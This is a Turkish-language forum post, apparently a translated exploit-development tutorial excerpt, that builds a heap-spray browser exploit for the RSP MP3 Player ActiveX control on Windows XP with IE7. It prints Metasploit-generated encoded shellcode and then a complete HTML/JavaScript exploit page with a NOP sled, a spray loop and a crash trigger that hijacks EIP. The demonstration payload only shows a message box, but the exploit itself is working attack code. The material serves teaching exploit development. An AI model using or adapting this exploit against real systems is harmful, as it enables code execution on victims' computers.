TEXT      Oww Snap!        yes       Messagebox Text (max 255 chars)
TITLE     b33f             yes       Messagebox Title (max 255 chars)

Description:
  Spawns a dialog via MessageBox using a customizable title, text & 
  icon


root@bt:~# msfpayload windows/messagebox text='Oww Snap!' title='b33f' R| msfencode -t js_le
[*] x86/shikata_ga_nai succeeded with size 282 (iteration=1)

%u22bb%ua82f%udb56%ud9dd%u2474%u58f4%uc931%u40b1%u5831%u0315%u1558%uc083%ue204%uf6d7%ucd43
%u7dce%u06b0%uafc1%u910a%u9910%ud50f%u2923%u9f5b%uc2cf%u7c2d%u9244%uf7d9%u3b24%u3151%u74e0
%u4b7d%ud2e3%u627c%u04fc%u0f1e%ue36e%u84fb%ud72b%ucf88%u5f9b%u058e%ud550%u5288%uca3c%u8fa9
%u3e23%uc4e3%ub497%u34f2%u35e6%u08c5%u66f4%u49a2%u7070%u866a%u7f75%uf2ab%u4471%u214f%uce51
%ua24e%u14fb%u5e90%udf9d%ueb9e%ubaea%uea82%ub107%u67bf%u2ed6%u3336%ub2fc%u7f28%uc24e%uab83
%u3627%u915a%u375f%u1813%u1573%ubb44%u6574%u4d6b%u9ecf%u302f%u7c17%u4a3c%ua5bb%ubc91%u5a4d
%uc2ea%ue0d8%u551d%u86b6%ue43d%u642e%uc80c%ue2ca%u6705%u8177%udb6d%u6f53%u02e7%u90cd%ucea2
%uac78%u741d%u93d2%u36d3%uc8a5%u14cf%u9141%u66f0%u3a6e%ub957%u9bb0%udb0f%ue883%u2aa9%u8638
%u696a%u1eba%u1971%u78e3%ufa56%u2b8b%u9bf8%ua43b%u2b4b%u14cc%u1a65%u19ba%u95a1%u4033%u7798
%ud011%u258a%u066a%u0a1d%u58c4%u820b



Tamam, şimdi POC’u temizleyelim. Yığın püskürtmesi için yapmamın gereken tek değişiklik, yeni ürettiğimiz shell koduna koymaktır!



Kod:
<!--------------------------------------------------------------------------------
// Exploit: RSP MP3 Player OCX ActiveX Heap Spray                               //
// Author: b33f - http://www.fuzzysecurity.com/                                 //
// OS: Tested on XP PRO SP3                                                     //
// Browser: IE 7.00                                                             //
// Software: http://www.exploit-db.com/wp-content/themes/exploit/applications/  //
//           16fc339cccdb34dd45af52de8c046d8d-rsp_mp3_ocx_3.2.0_sw.zip          //
//------------------------------------------------------------------------------//
// This exploit was created for Part 8 of my Exploit Development tutorial       //
// series => http://www.fuzzysecurity.com/tutorials/expDev/8.html               //
--------------------------------------------------------------------------------->
 
<html>
  <head>
    <object id="Oops" classid='clsid:3C88113F-8CEC-48DC-A0E5-983EF9458687'></object>
  </head>
  <body>
  <script>
   
    //msfpayload windows/messagebox text='Oww Snap!' title='b33f' R| msfencode -t js_le
    var Shellcode = unescape(
    '%u22bb%ua82f%udb56%ud9dd%u2474%u58f4%uc931%u40b1%u5831%u0315%u1558%uc083%ue204%uf6d7%ucd43'+
    '%u7dce%u06b0%uafc1%u910a%u9910%ud50f%u2923%u9f5b%uc2cf%u7c2d%u9244%uf7d9%u3b24%u3151%u74e0'+
    '%u4b7d%ud2e3%u627c%u04fc%u0f1e%ue36e%u84fb%ud72b%ucf88%u5f9b%u058e%ud550%u5288%uca3c%u8fa9'+
    '%u3e23%uc4e3%ub497%u34f2%u35e6%u08c5%u66f4%u49a2%u7070%u866a%u7f75%uf2ab%u4471%u214f%uce51'+
    '%ua24e%u14fb%u5e90%udf9d%ueb9e%ubaea%uea82%ub107%u67bf%u2ed6%u3336%ub2fc%u7f28%uc24e%uab83'+
    '%u3627%u915a%u375f%u1813%u1573%ubb44%u6574%u4d6b%u9ecf%u302f%u7c17%u4a3c%ua5bb%ubc91%u5a4d'+
    '%uc2ea%ue0d8%u551d%u86b6%ue43d%u642e%uc80c%ue2ca%u6705%u8177%udb6d%u6f53%u02e7%u90cd%ucea2'+
    '%uac78%u741d%u93d2%u36d3%uc8a5%u14cf%u9141%u66f0%u3a6e%ub957%u9bb0%udb0f%ue883%u2aa9%u8638'+
    '%u696a%u1eba%u1971%u78e3%ufa56%u2b8b%u9bf8%ua43b%u2b4b%u14cc%u1a65%u19ba%u95a1%u4033%u7798'+
    '%ud011%u258a%u066a%u0a1d%u58c4%u820b');
  
    var NopSlide = unescape('%u9090%u9090');
     
    var headersize = 20;
    var slack = headersize + Shellcode.length;
     
    while (NopSlide.length < slack) NopSlide += NopSlide;
    var filler = NopSlide.substring(0,slack);
    var chunk = NopSlide.substring(0,NopSlide.length - slack);
     
    while (chunk.length + slack < 0x40000) chunk = chunk + chunk + filler;
    var memory = new Array();
    for (i = 0; i < 500; i++){ memory[i] = chunk + Shellcode }
     
    // Trigger crash => EIP = 0x06060606
    pointer='';
    for (counter=0; counter<=1000; counter++) pointer+=unescape("%06");
    Oops.OpenFile(pointer);
     
  </script>
</body>
</html>



xm4MPQ.png





 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.